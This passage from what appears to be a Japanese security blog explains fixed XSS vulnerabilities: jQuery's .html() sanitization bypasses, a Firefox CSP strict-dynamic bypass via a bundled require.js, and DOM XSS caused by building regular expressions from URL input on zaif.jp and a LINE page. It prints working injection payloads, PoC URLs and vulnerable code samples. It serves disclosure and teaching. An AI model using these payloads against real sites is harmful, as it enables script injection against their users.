しかしながら、いずれも、<code>.html()</code>を通して追加されると、本来は実行されないスクリプトが実行されてしまいます。<br /> <br /> それぞれの例を以下で実際に実行できます。<br /> <a href="https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html">https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html</a><br /> <br /> なぜ実行されたのか詳しくみていきます。<br /> <br /> <h3> CVE-2020-11023: 問題の原因(例1と2)</h3> <br /> 例の1と2は同じ原因で発生します。<code>.html()</code>の内部では、引数のHTML文字列が&nbsp;<a href="https://api.jquery.com/jQuery.htmlPrefilter/">$.htmlPrefilter()</a>&nbsp;というメソッドに渡されます。htmlPrefilterでは、<code>&lt;tagname&nbsp;<b style="background-color: yellow;">/&gt;</b></code>のようなself-closingタグを、次の正規表現を使った置換によって、<code>&lt;tagname &gt;&lt;/tagname&gt;</code>のような形に戻す処理を行います。<br /> <br /> <blockquote class="tr_bq nowrap"> rxhtmlTag = /&lt;(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^&gt;]*)\/&gt;/gi<br /> [...]<br /> htmlPrefilter: function( html ) {<br /> &nbsp; return html.replace( rxhtmlTag, "&lt;$1&gt;&lt;/$2&gt;" );<br /> }&nbsp;</blockquote> この置換処理に例1のHTMLを通した時の出力は以下になります。<br /> <blockquote class="tr_bq"> &gt; $.htmlPrefilter('&lt;style&gt;<span style="background-color: yellow;"><b>&lt;style /&gt;</b></span>&lt;img src=x onerror=alert(1)&gt;')<br /> &lt; "&lt;style&gt;<span style="background-color: yellow;"><b>&lt;style &gt;&lt;/style&gt;</b></span>&lt;img src=x onerror=alert(1)&gt;"</blockquote> 黄色部分が置換された箇所です。この置換により、style要素の内側にあった<code>&lt;style /&gt;</code>が<code>&lt;style &gt;&lt;/style&gt;</code>となり、それ以降の文字がstyle要素の外にはみ出てしまいました。<code>.html()</code>はこの後、置換後の文字列を<code>innerHTML</code>へ代入します。そこで、本来style要素の内側にあった<code>&lt;img ...&gt;</code>がタグとして現れ、onerrorが発火してしまいます。これが例1が発火するメカニズムです。<br /> <br /> なお、上記の正規表現はjQuery3.x以前に使われていたもので、3.x以降は以下のように少し変更されています。<br /> <br /> <a href="https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30">https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30</a><br /> <blockquote class="tr_bq"> rxhtmlTag = /&lt;(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0&gt;\x20\t\r\n\f]*)[^&gt;]*)\/&gt;/gi</blockquote> <br /> この変更によって、より簡単な要素・属性で、XSSを引き起こすことが可能になりました。<br /> 例2はこの変更によって生まれた新たなベクターです。jQuery3.x以降でのみ動作します。<br /> <blockquote class="tr_bq"> &gt; $.htmlPrefilter('&lt;img alt="&lt;x" title="/&gt;&lt;img src=x onerror=alert(1)&gt;"&gt;')<br /> &lt; "&lt;img alt="&lt;x" title="&gt;&lt;/x"&gt;&lt;img src=x onerror=alert(1)&gt;"&gt;"</blockquote> こちらは属性内にある文字列がはみ出してXSSが発生しています。<br /> <br /> これが例1と2の原因でした。<br /> <br /> <h3> jQuery側の修正(例1と2)</h3> <br /> <code>$.htmlPrefilter()</code>を、渡された文字列をそのまま返す関数に変更することで対処されました。<br /> <br /> <a href="https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198">https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198</a><br /> <br /> しかし、これで全ての問題が解決したわけではありませんでした。<code>.html()</code>内部ではさらに別の文字列処理が行われており、それが原因で例3が発生します。<br /> <br /> <h3> CVE-2020-11022: 問題の原因(例3)</h3> <div> <br /></div> <code>.html()</code>内部では、引数に渡されたHTMLの先頭に出てくるタグが特定のタグであった場合、他のタグで一度ラップしてから処理を行おうとします。これは、ラップされている状態でないと、処理途中で勝手に消されてしまうような要素がブラウザの仕様やバグのために存在するからです。<br /> <br /> option要素はそのような要素の1つです。IE9限定ではありますが、IE9のバグによってselect要素がないと消されてしまいます。jQueryはこれに対処するために、例えば、<code>&lt;option&gt;aaa&lt;/option&gt;</code>のような、最初に出てくる要素がoption要素のHTML文字列が渡されると、<code>&lt;select multiple='multiple'&gt;</code>と<code>&lt;/select&gt;</code>で全体をラップして処理を行おうとします。<br /> <br /> ラップを行うタグは以下のファイルで定義されています。<br /> <a href="https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9">https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9</a><br /> <br /> 実際のラップは以下で行われます。<br /> <a href="https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39">https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39</a><br /> <br /> 例3は、このラップの処理が原因で発生していました。<br /> 例3のHTMLがラップ処理を通ると、次のHTMLが組み立てられます。<br /> <blockquote class="tr_bq"> &lt;select multiple='multiple'&gt;&lt;option&gt;&lt;style&gt;&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;&lt;/style&gt;&lt;/select&gt;</blockquote> これがjQueryの内部のコード中で<code>innerHTML</code>へ代入されるとき、スクリプトが実行されます。<br /> <br /> スクリプトが実行される理由はselect要素のパース方法にあります。select要素の内側では、option、optgroup、script、template要素以外のHTMLタグは<a href="https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect">置くことができません</a>。この仕様によって、ここに書かれた<code>&lt;style&gt;</code>は無視され、<code>&lt;style&gt;</code>の内側にあった<code>&lt;/select&gt;</code>が閉じタグとして作用し、select要素がそこで終了します。後続の<code>&lt;img ...&gt;</code>が<code>&lt;style&gt;</code>からはみ出た結果、onerrorが発火します。これが例3の原因でした。<br /> <br /> <h3> jQuery側の修正(例3)</h3> <br /> このラップ処理をIE9だけに適用することで対処されました。<br /> <br /> <a href="https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25">https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25</a><br /> <br /> そうすると、IE9は脆弱なままに思えますが、実際には問題ありません。というのも、詳しくは触れませんが、IE9は他のブラウザとは異なる奇妙な規則でselect要素の内側に置かれた<code>&lt;style&gt;</code>のパースを行うため、この問題の影響を受けないからです。<br /> <br /> ちなみに、これらの問題は、<code>.html()</code>だけではなく、<code>.append()</code>、<code>$('&lt;tag&gt;')</code>のような、HTMLを生成/追加する際に<code>$.htmlPrefilter()</code>やラップ処理を通すその他のAPIでも発生します。<br /> <br /> <h3> 更新しましょう</h3> <br /> サニタイズしたHTMLをjQueryで追加している覚えのある人は3.5.0以降へのアップデートを推奨します。<br /> アップデートが何らかの理由で難しい場合は、<a href="https://github.com/cure53/DOMPurify">DOMPurify</a>を使ってサニタイズを行うことをお勧めします。DOMPurifyは、<code>SAFE_FOR_JQUERY</code>という、このバグを考慮したサニタイズを行うオプションがあるためです。例えば、次のように使います。<br /> <blockquote class="tr_bq"> &lt;div id="div"&gt;&lt;/div&gt;<br /> &lt;script&gt;<br /> unsafeHtml = '&lt;img alt="&lt;x" title="/&gt;&lt;img src=x onerror=alert(1)&gt;"&gt;';<br /> var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );<br /> $('#div').html( sanitizedHtml );<br /> &lt;/script&gt;</blockquote> なお、DOMPurifyでは最近バイパスが見つかっています。既にDOMPurifyを<code>SAFE_FOR_JQUERY</code>と共に使っている人は、バイパスに対処した<a href="https://github.com/cure53/DOMPurify/releases/tag/2.0.8">2.0.8以降</a>にアップデートしていることを確認してください。<br /> <br /> <h3> おわりに</h3> <br /> この問題を調査したきっかけは、<a href="https://twitter.com/PwnFunction">@PwnFunction</a>さんによる以下のXSSチャレンジでした。<br /> <a href="https://xss.pwnfunction.com/challenges/ww3/">https://xss.pwnfunction.com/challenges/ww3/</a><br /> <br /> 実はこのバグの一部は以前から既知で、このチャレンジではそれが想定解となっていました。(実際、DOMPurifyでは、2014年には既に<code>SAFE_FOR_JQUERY</code>オプションが<a href="https://github.com/cure53/DOMPurify/commit/9bbd56069e46e282bafad1fab3c6c23c5b331604">導入されており</a>、相当前から知られていた問題であることがわかります。)<br /> <br /> 今回、このチャレンジをきっかけに改めてjQueryのソースを読んでみました。その過程で、今まで言及されていなかった「例2」のベクターを発見しました。このケースは、かなりベーシックなHTML要素・属性だけで攻撃が可能で、多くの開発者が知らずに脆弱性を作りこんでいるのではないかと考え、実際に調べてみると、すぐにXSSが可能なアプリが見つかりました。影響を受けるアプリの開発元に報告をすると同時に、本来はjQueryが修正すべき問題だという思いを持ち、今回報告に至りました。jQueryのメンテナの方々は、破壊的な変更をしなければならなかったにもかかわらず、迅速に問題に対処してくれました。素早い対応に感謝します。また、この問題を調査するきっかけをくれたXSSチャレンジ作成者の<a href="https://twitter.com/PwnFunction">@PwnFunction</a>さんにも感謝します。<br /> <br /> 以上、jQuery 3.5.0で修正された脆弱性について説明しました。この記事がjQueryを使ったアプリをセキュアにする助けとなれば嬉しいです。Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-4876064420447275172018-05-24T18:17:00.000+09:002018-05-27T01:09:50.938+09:00CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパスEnglish version is here:&nbsp;<a href="https://mksben.l0.cm/2018/05/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html">https://mksben.l0.cm/2018/05/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html</a><br /> <br /> <br /> Firefox 60で修正されたContent Security Policy(CSP)のstrict-dynamicをバイパスできた脆弱性について書きます。<br /> <br /> <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175">https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175</a><br /> <blockquote class="tr_bq"> A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.</blockquote> <br /> <h3> strict-dynamicとは</h3> <div> <br /> まず簡単にCSPについておさらいしながら、strict-dynamicが誕生した背景を少し書いておきます。</div> <div> <div> 従来のCSPは、ドメインをホワイトリストする形でリソースのロードを制限します。</div> <div> 例えば、次のCSP設定は、自分自身のオリジンと trusted.example.com からのみ、JavaScriptのロードを許可します。</div> </div> <blockquote class="tr_bq"> Content-Security-Policy: script-src 'self' trusted.example.com</blockquote> <div> これで、 XSSがあった場合にも、evil.example.org からスクリプトをロードされたり、インラインのスクリプトを実行されることはなくなります。十分安全に思えますが、trusted.example.com にCSPのバイパスに都合の良いスクリプトが置かれている場合などに、まだ悪意あるスクリプトを実行される可能性が残っています。具体的には、trusted.example.com に JSONP がある場合などです。</div> <div> 以下は、このCSP設定の下で、完全にロードが許可されるスクリプトです。</div> <blockquote class="tr_bq"> &lt;script src="//trusted.example.com/jsonp?callback=alert(1)//"&gt;&lt;/script&gt;</blockquote> <div> このAPIがcallbackパラメータに渡された入力をcallback関数部分に直接反映するものであれば、以下のように、任意のスクリプトとして利用できてしまいます。</div> <blockquote class="tr_bq"> alert(1)//({});</blockquote> <div> その他にも、AngularJSがロードできるとバイパスが起こることが<a href="https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#127-bytes">知られて</a>います。特に、CDNなどの、多くのJavaScriptをホストしているドメインを許可した場合には、この可能性がより現実的になります。</div> <div> <br /></div> <div> このように、ホワイトリストでは、CSPを安全に運用することが難しい場合があります。そこで考えられたのがstrict-dynamicです。このオプションを次のように設定したとします。</div> <blockquote class="tr_bq"> Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'</blockquote> <div> すると、ホワイトリストは無効化され、nonce属性がsecretという値を含んだスクリプトのみがロードされるようになります。</div> <blockquote class="tr_bq"> &lt;!-- これはロードされる --&gt;<br /> &lt;script src="//example.com/assets/A.js" nonce="secret"&gt;&lt;/script&gt;<br /> <br /> &lt;!-- これはロードされない --&gt;<br /> &lt;script src="//example.com/assets/B.js"&gt;&lt;/script&gt;</blockquote> <div> このとき、A.jsがさらに別のJavaScriptをロードして使いたい場合も考えられます。こういった場合、特定の条件でロードされれば、nonceをつけなくてもロードが許可されるようになっています。仕様で書かれている言葉を使うと、non-"parser-inserted" なスクリプト要素は、スクリプトを使ってロードすることが許可されます。</div> <div> どのようなものが許可されるか、以下に具体例を示します。</div> <blockquote class="tr_bq"> /* A.jsのコード */<br /> <br /> //これはロードされる<br /> var script=document.createElement('script');<br /> script.src='//example.org/dependency.js';<br /> document.body.appendChild(script);<br /> <br /> //これはロードされない<br /> document.write("&lt;scr"+"ipt src='//example.org/dependency.js'&gt;&lt;/scr"+"ipt&gt;");</blockquote> <div> <div> <code>createElement()</code>などを使ってロードする場合が、non-"parser-inserted"なスクリプト要素となり、ロードが許可されます。一方で、<code>document.write()</code>などを使って書き出す場合は、parser-inserted なスクリプト要素となり許可されません。</div> <div> <div> <br /></div> <div> ここまで、strict-dynamicの動作をおおまかに説明しました。</div> <div> <br /></div> <div> より詳しくは仕様を参照してください。</div> <div> <a href="https://www.w3.org/TR/CSP3/#strict-dynamic-usage">https://www.w3.org/TR/CSP3/#strict-dynamic-usage</a></div> <div> <br /></div> <div> <div> さて、strict-dynamicを使えば、全くバイパス不可能かというとそうでもありません。</div> <div> 次に、strict-dynamicの既知のバイパス手法について紹介します。</div> </div> <div> <br /></div> <div> <h3> 既知のstrict-dynamicバイパス</h3> </div> <div> <br /></div> <div> ターゲットのページで特定のライブラリが使われている場合に、strict-dynamicもバイパス可能であることが知られています。</div> <div> <br /></div> <div> GoogleのSebastian Lekies氏、Eduardo Vela Nava氏、Krzysztof Kotowicz氏によって、影響を受けるライブラリがまとめられています。strict-dynamicのバイパスだけではなく、ライブラリから生じるその他のCSPのバイパスもまとめられています。</div> <div> <a href="https://github.com/google/security-research-pocs/tree/master/script-gadgets">https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md</a></div> <div> <br /></div> <div> この中の、require.js のstrict-dynamicのバイパスをみてみましょう。</div> <div> ターゲットのページが、strict-dynamicを設定したCSPを持ち、require.jsをロードしており、シンプルなXSSを持っているとします。このとき、次のようなスクリプト要素が挿入されると、nonceを知らなくても、任意のスクリプトを実行できてしまいます。</div> <div> <blockquote class="tr_bq"> &lt;meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'"&gt;<br /> &lt;!-- XSS START --&gt;<br /> &lt;script data-main=<span style="background-color: yellow;"><b>"data:,alert(1)"</b></span>&gt;&lt;/script&gt;<br /> &lt;!-- XSS END --&gt;<br /> &lt;script nonce="secret" src="require.js"&gt;&lt;/script&gt;</blockquote> </div> <div> require.jsは、data-main属性を持ったscript要素をみつけると、以下と同等のコードから、新たなスクリプトをロードするようになっています。</div> <div> <blockquote class="tr_bq"> var node = document.createElement('script');<br /> node.src = 'data:,alert(1)';<br /> document.head.appendChild(node);</blockquote> 前述したように、 strict-dynamicが設定されているページにおいて、<code>createElement()</code>からスクリプトをロードする場合は、nonceがなくてもロードが許可されます。このように、既にロードされているJavaScriptのコードの動作を使って、場合によってはstrict-dynamicもバイパスできます。<br /> <br /> 今回のFirefoxの脆弱性は、このrequire.jsの動作のおかげで発生していました。<br /> 本題のFirefoxの脆弱性について解説していきます。<br /> <br /></div> <h3> Firefoxでstrict-dynamicバイパス(CVE-2018-5175)</h3> <div> <br /></div> <div> Firefoxは、一部のブラウザの機能をレガシーな拡張機能を使って実装しています。レガシーな拡張機能とは、WebExtensionsではなく、FirefoxがFirefox 57でサポートを廃止したXUL/XPCOMベースの拡張機能のことです。現在最新のFirefox 60でも、ブラウザ内部ではまだこの仕組みを使っている部分があります。</div> <div> <br /></div> <div> このバイパスでは、ブラウザ内部で使われている、レガシーな拡張機能のリソースを使います。WebExtensionsでは、マニフェストの <a href="https://developer.mozilla.org/ja/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a> で指定した拡張機能のリソースは、任意のウェブページからロードできるように設定できます。これと同じように、レガシーな拡張機能のマニフェストにも、<a href="https://developer.mozilla.org/ja/docs/Mozilla/Chrome_Registration#contentaccessible">contentaccessible というオプション</a>があり、任意のウェブページから拡張機能のリソースのロードを許可できます。今回のバイパスでは、ブラウザ内部のリソースであるrequire.jsが、このオプションによって、ウェブアクセシブルな状態で公開されていたことで、バイパスに利用できてしまっていました。</div> <div> <div> <br /></div> </div> <div> マニフェストを見てみましょう。Windowsの64bitのFirefoxであれば、次のURLをFirefoxで開くことでマニフェストの内容を確認できます。</div> <div> <br /></div> <div> jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest</div> <div> <blockquote class="tr_bq nowrap"> content branding browser/content/branding/ contentaccessible=yes<br /> content browser browser/content/browser/ contentaccessible=yes<br /> skin browser classic/1.0 browser/skin/classic/browser/<br /> skin communicator classic/1.0 browser/skin/classic/communicator/<br /> content webide webide/content/<br /> skin webide classic/1.0 webide/skin/<br /> content devtools-shim devtools-shim/content/<br /> content devtools devtools/content/<br /> skin devtools classic/1.0 devtools/skin/<br /> locale branding ja ja/locale/branding/<br /> locale browser ja ja/locale/browser/<br /> locale browser-region ja ja/locale/browser-region/<br /> locale devtools ja ja/locale/ja/devtools/client/<br /> locale devtools-shared ja ja/locale/ja/devtools/shared/<br /> locale devtools-shim ja ja/locale/ja/devtools/shim/<br /> locale pdf.js ja ja/locale/pdfviewer/<br /> overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul<br /> overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul<br /> overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul<br /> overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul<br /> override chrome://global/content/license.html chrome://browser/content/license.html<br /> override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml<br /> override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties<br /> override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd<br /> override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd<br /> resource search-plugins chrome://browser/locale/searchplugins/<br /> resource usercontext-content browser/content/ contentaccessible=yes<br /> resource pdf.js pdfjs/content/<br /> <span style="background-color: yellow;">resource devtools devtools/modules/devtools/<br />resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes</span><br /> resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes</blockquote> </div> <div> 黄色い箇所が、問題のファイルを公開に設定している部分です。この2行は、<a href="https://developer.mozilla.org/ja/docs/Mozilla/Chrome_Registration#resource">resource: URI</a>を作成するためにあります。最初の<code>resource devtools devtools/modules/devtools/</code>の行は、resource://devtools/ というURL に&nbsp;devtools/modules/devtools/ のディレクトリ( jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ にあるディレクトリ )をマッピングするという意味になります。これで、Firefoxから resource://devtools/ を開くことで、ディレクトリ以下のファイルへアクセスできるようになります。次の行も同様に、resource://devtools-client-jsonview/ へのマッピングを行っています。このURLが、contentaccessible=yesと設定されており、このディレクトリ以下に置かれたファイルを任意のページからロードできるようにしています。このディレクトリに問題のrequire.jsがあります。</div> <div> <br /></div> <div> require.jsを発見したら、あとはstrict-dynamicが設定されたページからロードするだけです。実際のバイパスは次のようになります。<br /> <br /> <a href="https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html">https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html</a></div> <blockquote class="tr_bq"> &lt;meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'"&gt;<br /> &lt;!-- XSS START --&gt;<br /> &lt;script data-main="data:,alert(1)"&gt;&lt;/script&gt;<br /> &lt;script&nbsp; src="resource://devtools-client-jsonview/lib/require.js"&gt;&lt;/script&gt;<br /> &lt;!-- XSS END --&gt;</blockquote> </div> <div> <div> <br /> これで、data: URLがロードされ、アラートが実行されます。</div> <div> あれ、strict-dynamicはnonceが必要だから、そもそもrequire.js自体ロードされないんじゃないか?と思うかもしれません。実は、どんなに厳しくCSPを設定しても、拡張機能のウェブアクセシブルなリソースはCSPを無視してロードされます。この動作はCSPの仕様でも触れられており、CSPは拡張機能やブックマークレットの機能を妨害すべきでないと明記されています。</div> <div> <br /></div> <div> <a href="https://www.w3.org/TR/CSP3/#extensions">https://www.w3.org/TR/CSP3/#extensions</a></div> <blockquote class="tr_bq"> Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].</blockquote> <div> Firefoxのresource: URIにもこの規則が適用されていました。このおかげで、利用者は、CSPが設定されているページでも、期待通りに拡張機能を動作させることができますが、一方で、今回のように、この特権をCSPのバイパスに利用される可能性も作ってしまっています。もちろん、この問題が起きるのはブラウザのリソースに限ったことではありません。一般の拡張機能でも、ウェブアクセシブルに設定されたリソースにバイパスに利用できるものがあれば、同じことが起きます。<br /> 今回は、ブラウザの内部リソースに問題のファイルがあったため、特定の拡張機能がインストールされているかどうかにかかわらず、デフォルトで全てのFirefoxでバイパスへの利用を許してしまっていました。修正後は、resource: URIにもCSPを適用するようになったようです。</div> <div> <br /></div> <h3> 終わりに</h3> <div> <br /></div> <div> Firefoxの、CSPのstrict-dynamicをバイパスできた脆弱性について書きました。</div> <div> <br /></div> <div> ちなみにこの問題は、今年Cure53で出題したXSS Challengeの、<a href="https://github.com/cure53/XSSChallengeWiki/wiki/CNY-Challenge-2018">Cure53 CNY Challenge 2018</a>&nbsp;の別解がないか探していた時に発見しました。こちらもstrict-dynamicをバイパスするチャレンジになっているので、興味がある方はご覧ください。</div> <div> また、この別バージョンのXSS Challengeも<a href="https://twitter.com/kinugawamasato/status/984014228469280768">現在出題中</a>なので、ぜひトライしてみてください。</div> </div> </div> <div> <br /></div> <div> 最後に、このバイパスに気付かせてくれた<a href="https://github.com/google/security-research-pocs/tree/master/script-gadgets">Googleの研究</a>に感謝します。</div> Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-47995870035389306572018-01-15T19:07:00.000+09:002018-01-19T21:01:11.516+09:00ユーザ入力を使った正規表現から生じるDOM based XSSお久しぶりです&あけましておめでとうございます。昨年はブログを書く時間をうまく作ることができず、あまり記事を書けませんでした。今年はできるだけ月に1回程度何か書いていきたいと思っています。今年もよろしくお願いします!<br /> <br /> さて、ブログを書かなかった間にXSSからSQLインジェクションへ興味が移った、なんてことはありませんでしたので、今日もいつも通り大好きなXSSの話をしたいと思います!<br /> <br /> 最近、正規表現にユーザ入力を使っていることに起因するDOM based XSSに連続して遭遇しました。あまり見慣れていない注意が必要な問題だと思うので、この記事では、見つけたもの2つがどのように生じたか、また、問題を起こさないためにどうすればよいかを紹介します。<br /> <br /> そのうちの1つはLINEのBug Bounty Programを通じて報告した問題です。<br /> 賞金と、"LINE SECURITY BUG BOUNTY"と書かれたシンプルなTシャツをもらいました。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih7VDeoQ9R1Dzq6OaO9lQeMMIXSor61EBl248moko5919OdDXKl76aJLIhhs_9hF_rZymw-tJtDIffZwY9RJsvt0p9_vTzjoXzvU-hdFMWuSXs9BG2NKsoCAvq4ijjwy53aM72pnkSFEc/s1600/lineshirt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1201" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih7VDeoQ9R1Dzq6OaO9lQeMMIXSor61EBl248moko5919OdDXKl76aJLIhhs_9hF_rZymw-tJtDIffZwY9RJsvt0p9_vTzjoXzvU-hdFMWuSXs9BG2NKsoCAvq4ijjwy53aM72pnkSFEc/s400/lineshirt.jpg" width="300" /></a></div> <br /> LINEのバグの詳細は記事の後半にあります。<br /> それでは見ていきます!<br /> <br /> <h3> 例1: zaif.jp にあったDOM based XSS</h3> <br /> 仮想通貨が盛り上がっていますね。僕は持っていないのですが、どんなものかとTwitterで話題にあがっていた取引所の <a href="https://zaif.jp/">zaif.jp</a>&nbsp;のトップページをふと覗いたところ、以下のような興味深いコードを見つけました。(不要な部分は省略しています。)<br /> <blockquote class="tr_bq"> $(".btn").on("click", function(e) {<br /> &nbsp; var url = location.href;<br /> &nbsp; var regExp = new RegExp( location.hash, "g" );<br /> &nbsp; url = url.replace( regExp, "");<br /> &nbsp; window.location.href = url;<br /> });</blockquote> このコードは、URL中の#以降の文字を削除してリダイレクトする意図で書かれているように見えます。しかしながら、削除する方法が適切でないため、任意のスクリプトを実行できてしまいます。どこに問題があるかわかりますか?<br /> <br /> 正規表現を作っている部分に注目してください:<br /> <blockquote class="tr_bq"> var regExp =&nbsp;new RegExp( <span style="background-color: yellow;"><b>location.hash</b></span>, "g" );</blockquote> この書き方には問題があります。RegExpコンストラクタの第一引数には正規表現になる文字列がきます。したがって、この場合は<code>location.hash</code>が正規表現として使われることになります。このコードでも、<code>#aaa</code>のように、#以降に英数字のみが含まれるようなURLであれば意図通りに#以降が削除されます。しかしながら、<code>.</code>や<code>+</code>など、正規表現の特殊文字が#以降に含まれていた場合に意図しない置換が起こってしまいます。<br /> <br /> 例えば、次のようなURLからアクセスされた場合を考えてみてください:<br /> <br /> https://zaif.jp/<b style="background-color: yellow;">#|.+</b><br /> <br /> <code>location.hash</code>から正規表現が組み立てられることにより、URL文字列は次のように置換されます。<br /> <blockquote class="tr_bq"> url.replace(/#|.+/g, "");</blockquote> これは、「#」か「改行文字以外の文字の連続」(<code>.+</code>) のいずれかを空文字列に置換するという意味になります。<code>.+</code>はURL中のすべての文字列とマッチするので、すべての文字列が空文字列に置換されてしまいます。このように、正規表現の特殊文字をURLの#以降に指定することで、#以降の文字列以外も切り取ることができてしまいます。<br /> <br /> 一見、小さなバグのようにも思えますが、このせいで任意のスクリプトの実行まで可能です。切り取られた文字列は<code>location.href</code>に代入されるため、細工した正規表現を使って、<code>javascript:</code>スキームのURLとなる文字列を残せば、スクリプトを実行するURLへナビゲートできてしまいます。<br /> <br /> PoCを示します。次のようなURLからアラートを実行できます:<br /> <br /> https://zaif.jp/<span style="background-color: yellow;"><b>#javascript:alert(1)//|.+\x23</b></span><br /> <br /> このURLからは次のような置換が行われます。<br /> <blockquote class="tr_bq"> url.replace(/#javascript:alert(1)\/\/|.+\x23/g, "");</blockquote> <code>.+\x23</code> (<code>\x23</code>は # をエスケープした形) によって、先頭から#までの文字列が削除されます。結果、残されるのは<code>javascript:alert(1)//|.+\x23</code>というURLとなり、スクリプトの実行が可能となります。<br /> <br /> このXSSを再現できるページを用意しました。以下からスクリプトの実行を試すことができます:<br /> <br /> <a href="https://vulnerabledoma.in/domxss_regex.html#javascript:alert(1)//|.+\x23">https://vulnerabledoma.in/domxss_regex.html#javascript:alert(1)//|.+\x23</a><br /> <br /> この問題は、2017年12月中旬に報告し、1週間程度で修正されました。現在は、正規表現を使わず、<code>location.href.split("#")[0]</code>で#以降の文字列を除いているようです。<br /> <br /> <h3> 例2: LINE のドメインにあったDOM based XSS</h3> <br /> 2017年4月頃に<a href="https://bugbounty.linecorp.com/ja/">LINE Security Bug Bounty Program</a>を通じて報告し、$500 の賞金を獲得したバグです。<br /> 以下に問題があったページを模したページを用意しました。どこにXSSがあるかわかりますか?<br /> <br /> <a href="https://vulnerabledoma.in/domxss_regex2.html?id=123">https://vulnerabledoma.in/domxss_regex2.html?id=123</a><br /> <blockquote class="tr_bq"> &lt;script id="template" type="text/template"&gt;<br /> &lt;img src="https://example.com/img/{{id}}.png"&gt;<br /> &lt;/script&gt;<br /> &lt;script&gt;<br /> function parseQuery() {<br /> &nbsp; var res = {};<br /> &nbsp; var tmp;<br /> &nbsp; var items = location.search.substr(1).split('&amp;');<br /> &nbsp; for (var i = 0; i &lt; items.length; i++) {<br /> &nbsp; &nbsp; tmp = items[i].split('=');<br /> &nbsp; &nbsp; if (tmp[0]) {<br /> &nbsp; &nbsp; &nbsp; res[tmp[0]] = decodeURIComponent(tmp[1]);<br /> &nbsp; &nbsp; }<br /> &nbsp; }<br /> &nbsp; return res;<br /> }<br /> function renderHTML(data) {<br /> &nbsp; var current = document.getElementById('template');<br /> &nbsp; var template = current ? current.innerHTML : '';<br /> &nbsp; for (key in data) {<br /> &nbsp; &nbsp; var re = new RegExp('{{' + key + '}}', 'gm');<br /> &nbsp; &nbsp; var safe = escapeHTML(data[key]);<br /> &nbsp; &nbsp; template = template.replace(re, safe);<br /> &nbsp; }<br /> &nbsp; document.body.innerHTML = template;<br /> }<br /> function escapeHTML(src) {<br /> &nbsp; var res = src;<br /> &nbsp; var escapeMap = {<br /> &nbsp; &nbsp; '&amp;': '&amp;amp;',<br /> &nbsp; &nbsp; '&lt;': '&amp;lt;',<br /> &nbsp; &nbsp; '&gt;': '&amp;gt;',<br /> &nbsp; &nbsp; 